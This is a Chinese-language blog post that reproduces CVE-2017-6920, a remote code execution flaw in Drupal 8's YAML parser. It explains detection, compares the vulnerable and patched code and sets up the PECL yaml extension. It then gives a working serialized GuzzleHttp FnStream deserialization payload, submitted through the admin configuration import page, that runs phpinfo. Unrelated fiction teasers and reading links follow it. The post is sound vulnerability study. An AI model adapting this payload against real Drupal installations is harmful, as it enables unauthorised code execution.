Drupal远程命令执行漏洞复现

漏洞描述

Drupal官方发布了一个编号为CVE-2017- 6920 的漏洞,影响为Critical。这是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core。

漏洞检测

针对该漏洞,可采用两种方法进行检测:

方法一:登陆Drupal管理后台,查看内核版本是8.x,且版本号低于8.3.4,则存在该漏洞;否则,不存在该漏洞;

image.png

方法二:在Drupal根目录下找到文件/core/lib/Drupal/Component/Serialization/ YamlPecl.php,定位到函数public static function decode($raw),如果该函数代码不包含" ini_set('yaml.decode_php', 0);"调用,则存在该漏洞;否则,不存在该漏洞。

这是存在该漏洞的代码块

image.png

这是修复后的

image.png

漏洞分析

通过两个版本的文件可以发现漏洞的触发点,如上图。。
可以看到,8.3.4以后的版本 decode函数的开始处增加了如下的代码:

static $init; 
if (!isset($init)) 
{ // We never want to unserialize !php/object. 
ini_set('yaml.decode_php', 0); 
$init = TRUE; 
} 

漏洞所在函数decode的触发点代码如下:

$data = yaml_parse($raw, 0, $ndocs, [ 
YAML_BOOL_TAG => '\Drupal\Component\Serialization\YamlPecl::applyBooleanCallbacks', ]); 

decode函数的参数$raw被直接带入了yamlparse函数中,文档官方对于yamlparse函数的描述如下:

yamlparse
(PECL yaml> = 0.4.0)yaml_parse  - 解析YAML流
描述 
mixed yaml_parse(string $ input [,int $ pos = 0 [,int&$ ndocs [,array $ callbacks = null]]])将全部或部分YAML文档流转换为PHP变量。
参数 
输入要解析为YAML文档流的字符串。
pos从流中提取文档(所有文档为-1,第一个文档为0,...)。
ndocs如果提供了ndocs,则会填充流中找到的文档数量。
回调YAML节点的内容处理程序。YAML标记的关联数组=>可调用映射。有关更多详细信息,请参阅解析回调。
返回值 
以适当的PHP类型返回在输入中编码的值,或者在失败时返回FALSE。如果pos为-1,则将返回一个数组,其中每个在流中找到的文档都有一个条目。    

第一个参数是需要parse成yaml的文档流。从上文来看,只有yaml_parse的第一个参数是外部可控的。官方对这个函数有一个特别的说明,也就是该漏洞的触发原理:

Notes 
Warning Processing untrusted user input with yamlparse() is dangerous if the use of unserialize() is enabled for nodes using the !php/object tag. This behavior can be disabled by using the yaml.decodephp ini setting. 
警告:如果为使用!php / object标记的节点启用了unserialize(),则使用yamlparse()处理不可信用户输入是非常危险的。这种行为可以通过使用yaml.decodephp ini设置来禁用。

即可以通过!php/object来声明一个节点,然后用这个!php/object声明的节点内容会以解序列化的方式进行处理;如果要禁止这样做,就通过设置yaml.decode_php来处理,这就是官方补丁在decode函数前面加的那几行代码因此。 ,这个远程代码执行漏洞的罪魁祸首首当是yaml_parse函数可能会用反序列化的形式来处理输入的字符串,从而导致通过反序列化类的方式来操作一些危险类,最终实现代码执行。显然,控制decode函数的参数即可触发该漏洞先定位。decode函数的调用位置,在/core/lib/Drupal/Component/Serialization/Yaml.php中第33行发现:

public static function decode($raw) {
$serializer = static::getSerializer(); 
return $serializer::decode($raw); 
}

函数该调用了getSerializer函数,该跟踪函数在/core/lib/Drupal/Component/ Serialization/Yaml.php中第48行发现:

protected static function getSerializer() {
if (!isset(static::$serializer)) {
  // Use the PECL YAML extension if it is available. It has better
  // performance for file reads and is YAML compliant.
  if (extension_loaded('yaml')) {
    static::$serializer = YamlPecl::class;
  }
  else {
    // Otherwise, fallback to the Symfony implementation.
    static::$serializer = YamlSymfony::class;
  }
}
return static::$serializer;
} 

如果存在YAML扩展,$serializer就使用YamlPecl类,然后调用YamlPecl这个类中的decode函数;如果不存在YAML扩展,就用YamlSymfony类中的decode。函数显然,一定要迫使代码利用YamlPecl类中的decode函数,这需要引入YAML扩展
我是在windows环境下测试的,用的wamp,所以只说在wamp中引入yaml扩展
1、先看下自己php的编译版本
Architecture : x86          编译系统架构:X86代表32位系统,X64代表64位系统
Thread Safety     : enabled       线程安全: enabled 代表线程安全 disabled 非线程安全
看下自己php的版本
安装的时候去 http://pecl.php.net 搜索相对于的扩展
nts--- 代表非线程安全 ts代表线程安全
找打合适i版本和把dll放在php扩展目录下即可。
想了解Linux下,看 PHP-yaml 安装
(1)YAML编译
http://pecl.php.net/package/yaml下载TGZ源码包
(2)引用扩展
将然后php_yaml.dll放入PHP扩展文件夹下,然后修改php.ini中,将extension_dir写成phpyaml.dll所存放的目录,然后加上extension=php_yaml.dll。

image.png

image.png

最后重启apache的,看到的phpinfo中有YAML扩展,就说明安装成功,如图:


image.png

漏洞验证

1.序列化一个GuzzleHttp\Psr7\FnStream类,序列化后的字符串,给该序列化字符串加上yaml的!php/object tag(注意一定要转义),最后得到的字符串如下:

!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

2.登录一个管理员账号,访问如下url: http://localhost/drupal830/admin/config/development/configuration/single/import然后我们进行如图所示的操作:

image.png

然后点击import按钮,就会执行phpinfo函数。


image.png

本文参考内容: https://paper.seebug.org/334/
http://baijiahao.baidu.com/s?id=1581449721290524096&wfr=spider&for=pc

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 218,204评论 6 506
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,091评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,548评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,657评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,689评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,554评论 1 305
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,302评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,216评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,661评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,851评论 3 336
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,977评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,697评论 5 347
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,306评论 3 330
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,898评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,019评论 1 270
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,138评论 3 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,927评论 2 355

推荐阅读更多精彩内容

  • [漏洞分析] 0x01 漏洞描述 2017年6月21日,Drupal官方发布了一个编号为CVE-2017- 692...
    SevenBy阅读 1,876评论 0 1
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,657评论 18 139
  • php.ini设置,上传大文件: post_max_size = 128Mupload_max_filesize ...
    bycall阅读 6,762评论 3 64
  • 在大马路上醒来 逃离了世俗 再也感受不到偏见 不再考虑将来 不再寻找意义 终日欢声笑语 这些我都做不到 还有就是离开你
    之蛇阅读 316评论 0 1
  • 百日练:一百天看一百本书第241天加油(ง •̀_•́)ง。加油(ง •̀_•́)ง。 今天,我看了《...
    Auguht阅读 360评论 0 0